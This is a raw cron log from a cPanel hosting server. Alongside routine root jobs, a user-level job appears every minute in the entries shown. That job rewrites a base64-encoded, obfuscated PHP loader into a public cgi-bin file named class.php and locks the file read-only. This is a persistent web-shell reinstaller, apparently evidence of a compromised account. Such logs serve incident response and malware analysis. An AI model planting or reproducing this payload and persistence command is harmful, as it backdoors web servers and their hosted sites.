Sep  5 17:45:02 server CROND[30716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:45:02 server CROND[30714]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:46:01 server CROND[31525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:46:01 server CROND[31526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:46:01 server CROND[31527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:47:01 server CROND[31898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:47:01 server CROND[31899]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:47:01 server CROND[31900]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:48:01 server CROND[32371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:48:01 server CROND[32372]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:48:01 server CROND[32373]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:49:01 server CROND[32752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:49:01 server CROND[32753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:49:01 server CROND[32754]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:50:01 server CROND[696]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:50:01 server CROND[700]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 17:50:01 server CROND[709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:50:01 server CROND[708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:50:01 server CROND[712]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:50:01 server CROND[711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:50:01 server CROND[710]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:50:01 server CROND[705]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 17:50:01 server CROND[706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:51:01 server CROND[1649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:51:01 server CROND[1650]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:51:01 server CROND[1651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:52:01 server CROND[2058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:52:01 server CROND[2059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:52:01 server CROND[2060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:53:01 server CROND[2432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:53:01 server CROND[2433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:53:01 server CROND[2434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:54:01 server CROND[2927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:54:01 server CROND[2928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:54:01 server CROND[2929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:55:01 server CROND[3306]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 17:55:01 server CROND[3315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 17:55:01 server CROND[3314]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 17:55:01 server CROND[3313]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 17:55:01 server CROND[3317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:55:01 server CROND[3318]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:55:01 server CROND[3319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:56:01 server CROND[4196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:56:01 server CROND[4197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:56:01 server CROND[4198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 17:57:01 server CROND[4574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 17:57:01 server CROND[4575]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 17:57:01 server CROND[4577]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 17:57:01 server CROND[4576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
